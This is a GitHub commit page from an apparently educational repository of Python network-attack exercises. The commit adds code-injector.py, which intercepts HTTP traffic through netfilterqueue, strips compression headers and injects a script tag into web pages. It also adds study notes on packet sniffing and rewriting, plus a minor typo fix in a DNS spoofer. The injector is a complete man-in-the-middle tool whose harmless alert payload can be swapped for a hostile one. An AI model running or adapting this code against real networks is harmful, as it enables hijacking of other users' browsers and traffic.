Skip to content
This repository was archived by the owner on Aug 24, 2023. It is now read-only.

Commit cc4501c

Browse files
author
root
committedNov 18, 2018
Updated
1 parent 1ef26bd commit cc4501c

File tree

4 files changed

+110
-17
lines changed

4 files changed

+110
-17
lines changed
 

‎5 dns_spoof/dns-spoofer-1.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -9,12 +9,12 @@
99

1010
def process_packet(packet):
1111
scapy_packet = scapy.IP(packet.get_payload())
12-
#convert raw packet unreadable into scapy packet
12+
#convert raw packet unreadable one into scapy packet
1313

1414
if scapy_packet.haslayer(scapy.DNSRR): #if packet has DNS Resource Record from response packet it's only in response packet
1515
print scapy_packet.show()
1616

17-
packet.accept() #accept the packet to process else it is remains in queue farever
17+
packet.accept() #accept the packet to process else it is remains in queue forever
1818

1919
queue = netfilterqueue.NetfilterQueue()
2020
#create a netfilterqueue instance

‎code-injector.py

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#!/usr/bin/python2
2+
3+
import netfilterqueue
4+
import scapy.all as scapy
5+
import re
6+
7+
8+
ack_list=[]
9+
10+
def set_load(packet,load):
11+
packet[scapy.Raw].load=load
12+
del packet[scapy.IP].len
13+
del packet[scapy.IP].chksum
14+
del packet[scapy.TCP].chksum
15+
return packet
16+
17+
18+
def process_packet(packet):
19+
scapy_packet=scapy.IP(packet.get_payload())
20+
if scapy_packet.haslayer(scapy.Raw):
21+
22+
if scapy_packet[scapy.TCP].dport == 80:
23+
print "[+]Request "
24+
#print scapy_packet.show()
25+
modified_load = re.sub("Accept-Encoding:.*?\\r\\n","",scapy_packet[scapy.Raw].load)
26+
new_packet=set_load(scapy_packet,modified_load)
27+
packet.set_payload(str(new_packet))
28+
#print scapy_packet.show()
29+
30+
31+
elif scapy_packet[scapy.TCP].sport == 80:
32+
print "[+] Response "
33+
modified_load=scapy_packet[scapy.Raw].load.replace("</body>","<script>alert('test');</script></body>")
34+
new_packet=set_load(scapy_packet,modified_load)
35+
packet.set_payload(str(new_packet))
36+
#print scapy_packet.show()
37+
38+
packet.accept()
39+
40+
41+
queue=netfilterqueue.NetfilterQueue()
42+
queue.bind(0,process_packet)
43+
queue.run()

‎index.html

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<!doctype HTML>
2+
<html>
3+
<head>
4+
<title>testing</title>
5+
</head>
6+
7+
<body>
8+
<b>Hello Prabhudeva</b>
9+
</body>
10+
11+
</html>

‎python-notes.txt

+54-15
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,44 @@ scapy.send(arp_respond)
128128
scapy.send(arp_respond,verbose=False,count=4)
129129
#verbose is False to not display the verbose message on the screen and packet count is 4
130130

131+
132+
scapy.sniff(iface = interface, store = False, prn = process_sniffed_packet)
133+
def process_sniffed_packet(packet):
134+
print packet
135+
#scapy.sniff to sniff the packet in specified interface and said not to keep in buffer by store=False
136+
#pwn meaning is owned or compromised what sniff the packet what functions to do we give process_sniffed_packet which just print the packet
137+
138+
packet.haslayer(scapy.Raw)
139+
scapy_packet.haslayer(scapy.DNSRR):
140+
#check if the packet has a layer Raw
141+
142+
packet[scapy.Raw].load
143+
packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
144+
#return value of load in the packet
145+
146+
scapy_packet = scapy.IP(packet.get_payload())
147+
#convert raw packet unreadable one into scapy packet
148+
149+
packet.set_payload(str(modified_packet))
150+
#bulid a packet
151+
152+
del scapy_packet[scapy.IP].chksum
153+
#del entry in the scapy packet to regenerate into new one
154+
155+
ack_list.append(scapy_packet[scapy.TCP].ack)
156+
ack_list.remove(scapy_packet[scapy.TCP].seq)
157+
#ack_list is list to store ack number in the packet
158+
159+
160+
161+
162+
163+
164+
165+
166+
167+
168+
131169
----------------------------------------------------------------------------------------------------------------------------
132170

133171
import time
@@ -174,23 +212,24 @@ except KeyboardInterrupt:
174212

175213
----------------------------------------------------------------------------------------------------------------------------
176214

215+
import netfilterqueue
216+
#pip install NetfilterQueue
217+
#apt-get install build-essential python-dev libnetfilter-queue-dev
218+
#capture the request packet from client and save to a queue using iptables and alter send or recieve modified packet
219+
#convert the raw packet to scapy packet to modify the request
177220

221+
queue = netfilterqueue.NetfilterQueue()
222+
#create a netfilterqueue instance
178223

224+
queue.bind(0,process_packet)
225+
#blind the queue number 0 where we create a queue zero in iptables
179226

227+
queue.run()
228+
#run the queue else it will not run
180229

230+
def process_packet(packet):
231+
232+
packet.accept()
233+
#accept the packet to process else it is remains in queue forever
181234

182-
183-
184-
185-
186-
187-
188-
189-
190-
191-
192-
193-
194-
195-
196-
235+
----------------------------------------------------------------------------------------------------------------------------

0 commit comments

Comments
 (0)
This repository has been archived.